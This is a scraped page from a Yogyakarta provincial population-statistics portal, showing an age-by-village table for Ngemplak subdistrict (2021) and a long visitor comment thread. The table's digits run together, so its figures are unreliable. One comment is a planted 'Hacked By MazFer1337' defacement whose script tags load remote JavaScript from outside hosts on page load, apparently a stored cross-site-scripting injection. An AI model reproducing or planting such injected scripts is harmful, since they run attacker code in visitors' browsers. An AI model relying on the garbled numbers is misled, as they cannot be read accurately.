Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN NGEMPLAK, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSINDUMARTANIBIMOMARTANIWIDODOMARTANIWEDOMARTANIUMBULMARTANITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun7374 1478473 1577973 152368332 70011277 189716 629 1.345
2 tahun5351 1044861 1096352 115222190 4126357 120449 411 860
3 tahun4452 964851 996652 118219208 4277464 138451 427 878
4 tahun5854 1125254 1066348 111228200 4288966 155490 422 912
5 tahun4550 955649 1056159 120229238 4678861 149479 457 936
6 tahun6451 1156058 1185869 127233224 4577380 153488 482 970
7 tahun5649 1055654 1106151 112229216 4457282 154474 452 926
8 tahun6556 1215058 1088168 149234215 4496879 147498 476 974
9 tahun7269 1417356 1296367 130249254 5037678 154533 524 1.057
10 tahun8262 1445855 1136754 121227208 4358667 153520 446 966
11 tahun5462 1166072 1327666 142231240 4716669 135487 509 996
12 tahun6470 1348463 1476761 128266235 5018365 148564 494 1.058
13 tahun6567 1325773 1308262 144237212 4496975 144510 489 999
14 tahun6464 1286743 1106167 128225210 4357358 131490 442 932
15 tahun6851 1195262 1146450 114213202 4156557 122462 422 884
16 tahun6373 1365058 1085650 106203177 3805968 127431 426 857
17 tahun6059 1195854 1128757 144240212 4525862 120503 444 947
18 tahun6865 1336656 1224661 107239220 4596363 126482 465 947
19 tahun6574 1396947 1167164 135246207 4537062 132521 454 975
20 tahun7552 1276248 1106653 119233212 4456367 130499 432 931
21 tahun6865 1336246 1085582 137224229 4535557 112464 479 943
22 tahun5147 985135 867556 131197218 4155660 116430 416 846
23 tahun5951 1105467 1216152 113208203 4116255 117444 428 872
24 tahun6553 1185757 1146365 128234200 4345972 131478 447 925
25 tahun5453 1075056 1065563 118216202 4188172 153456 446 902
26 tahun6167 1286348 1116557 122221213 4348477 161494 462 956
27 tahun4354 974955 1047558 133230224 4545046 96447 437 884
28 tahun5450 1045250 1025141 92233221 4547176 147461 438 899
29 tahun5339 924449 935855 113227228 4556872 140450 443 893
30 tahun6660 1265147 985261 113204239 4436761 128440 468 908
31 tahun4140 814155 964350 93212224 4365449 103391 418 809
32 tahun5363 1164851 994656 102206211 4176885 153421 466 887
33 tahun4148 893944 835249 101217201 4186866 134417 408 825
34 tahun5062 1124643 895165 116219222 4417168 139437 460 897
35 tahun5652 1084158 994457 101221223 4447558 133437 448 885
36 tahun5663 1195437 915967 126222224 4466066 126451 457 908
37 tahun6464 1285559 1147253 125228231 4597376 149492 483 975
38 tahun6464 1286069 1295463 117231272 5036077 137469 545 1.014
39 tahun7563 1385958 1176758 125237249 4867691 167514 519 1.033
40 tahun6081 1417473 1477368 141255285 5406970 139531 577 1.108
41 tahun5450 1045352 1056670 136227248 4756879 147468 499 967
42 tahun5771 1286071 1316964 133233242 4757782 159496 530 1.026
43 tahun7153 1246680 1466066 126229231 4606366 129489 496 985
44 tahun5164 1156865 1336675 141223234 4577661 137484 499 983
45 tahun4369 1125959 1187058 128233218 4516863 131473 467 940
46 tahun5160 1115047 975866 124212185 3976570 135436 428 864
47 tahun7251 1236074 1345961 120205196 4015569 124451 451 902
48 tahun6857 1256162 1236869 137214226 4406856 124479 470 949
49 tahun6053 1137556 1315359 112196218 4145251 103436 437 873
50 tahun4856 1044958 1075755 112207184 3916368 131424 421 845
51 tahun6461 1256559 1245972 131238233 4716873 141494 498 992
52 tahun4764 1115165 1166674 140216214 4306562 127445 479 924
53 tahun6554 1195845 1035562 117211217 4285961 120448 439 887
54 tahun5447 1015244 965962 121174190 3646469 133403 412 815
55 tahun4653 995555 1106251 113185178 3634872 120396 409 805
56 tahun3952 914039 795452 106145214 3595865 123336 422 758
57 tahun3740 774247 893951 90150207 3574556 101313 401 714
58 tahun3932 712545 705149 100149165 3146865 133332 356 688
59 tahun3851 893536 714038 78129152 2814953 102291 330 621
60 tahun4441 853630 663251 83129158 2876663 129307 343 650
61 tahun5258 1103531 663549 84147159 3064065 105309 362 671
62 tahun4143 844337 804441 85157156 3134359 102328 336 664
63 tahun3838 763334 674245 87117134 2514355 98273 306 579
64 tahun4340 832630 563043 73106116 2224540 85250 269 519
65 tahun3237 692748 753445 79128114 2423941 80260 285 545
66 tahun4634 803742 792346 6999107 2063938 77244 267 511
67 tahun2428 522429 533440 74109101 2104340 83234 238 472
68 tahun2421 452837 652923 5299100 1993131 62211 212 423
69 tahun2024 442018 382227 497574 1493027 57167 170 337
70 tahun2728 551728 453127 585863 1212725 52160 171 331
71 tahun1726 431713 302534 594676 1221921 40124 170 294
72 tahun1527 421220 322025 455268 1201924 43118 164 282
73 tahun1414 281620 362123 444440 842424 48119 121 240
74 tahun1218 301415 291225 373458 92917 2681 133 214
75 tahun1421 35625 311931 504049 891828 4697 154 251
76 tahun1116 271418 321216 284535 801110 2193 95 188
77 tahun1216 281318 311516 313957 961019 2989 126 215
78 tahun1318 311625 412022 423045 751822 4097 132 229
79 tahun413 171511 26819 273433 671417 3175 93 168
80 ke atas71119 1907797 17475110 185161260 42184122 206468 708 1.176
Jumlah3.9704.0628.0323.8103.8877.6974.2034.2728.47514.73814.88629.6244.6484.7409.388 31.369 31.847 63.216
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih